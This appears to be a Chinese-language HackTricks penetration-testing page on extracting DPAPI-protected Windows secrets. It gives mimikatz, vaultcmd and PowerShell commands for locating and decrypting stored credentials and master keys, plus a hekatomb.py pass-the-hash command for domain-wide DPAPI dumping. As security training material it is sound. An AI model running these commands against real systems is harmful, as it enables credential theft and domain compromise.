DPAPI - 提取密码
Reading time: 6 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
什么是 DPAPI
数据保护 API (DPAPI) 主要用于 Windows 操作系统中 对称加密非对称私钥,利用用户或系统秘密作为重要的熵来源。这种方法简化了开发人员的加密工作,使他们能够使用从用户登录秘密派生的密钥进行数据加密,或者在系统加密中使用系统的域认证秘密,从而免去开发人员自己管理加密密钥保护的需要。
DPAPI 保护的数据
DPAPI 保护的个人数据包括:
- Internet Explorer 和 Google Chrome 的密码和自动完成数据
- 应用程序(如 Outlook 和 Windows Mail)的电子邮件和内部 FTP 账户密码
- 共享文件夹、资源、无线网络和 Windows Vault 的密码,包括加密密钥
- 远程桌面连接、.NET Passport 和各种加密与认证目的的私钥密码
- 由凭据管理器管理的网络密码以及使用 CryptProtectData 的应用程序中的个人数据,如 Skype、MSN messenger 等
列表 Vault
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
# From mimikatz
mimikatz vault::list
凭据文件
受保护的凭据文件可能位于:
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
使用 mimikatz dpapi::cred
获取凭据信息,在响应中可以找到有趣的信息,例如加密数据和 guidMasterKey。
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
[...]
guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData : b8f619[...snip...]b493fe
[..]
您可以使用 mimikatz module dpapi::cred
和适当的 /masterkey
进行解密:
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
主密钥
用于加密用户 RSA 密钥的 DPAPI 密钥存储在 %APPDATA%\Microsoft\Protect\{SID}
目录下,其中 {SID} 是该用户的 安全标识符。DPAPI 密钥与保护用户私钥的主密钥存储在同一文件中。它通常是 64 字节的随机数据。(请注意,此目录受到保护,因此您无法使用 dir
从 cmd 列出它,但您可以从 PS 列出它)。
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
这是一组用户的主密钥的样子:
通常每个主密钥是一个加密的对称密钥,可以解密其他内容。因此,提取 加密的主密钥是有趣的,以便稍后解密用它加密的其他内容。
提取主密钥并解密
查看帖子 https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++ 以获取提取主密钥并解密的示例。
SharpDPAPI
SharpDPAPI 是@gentilkiwi的Mimikatz项目中一些DPAPI功能的C#移植。
HEKATOMB
HEKATOMB 是一个自动提取LDAP目录中所有用户和计算机的工具,并通过RPC提取域控制器备份密钥。然后,脚本将解析所有计算机的IP地址,并在所有计算机上执行smbclient以检索所有用户的所有DPAPI blob,并使用域备份密钥解密所有内容。
python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp
通过从LDAP提取的计算机列表,您可以找到每个子网络,即使您不知道它们!
“因为域管理员权限还不够。黑掉他们所有。”
DonPAPI
DonPAPI 可以自动转储受DPAPI保护的秘密。
参考
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。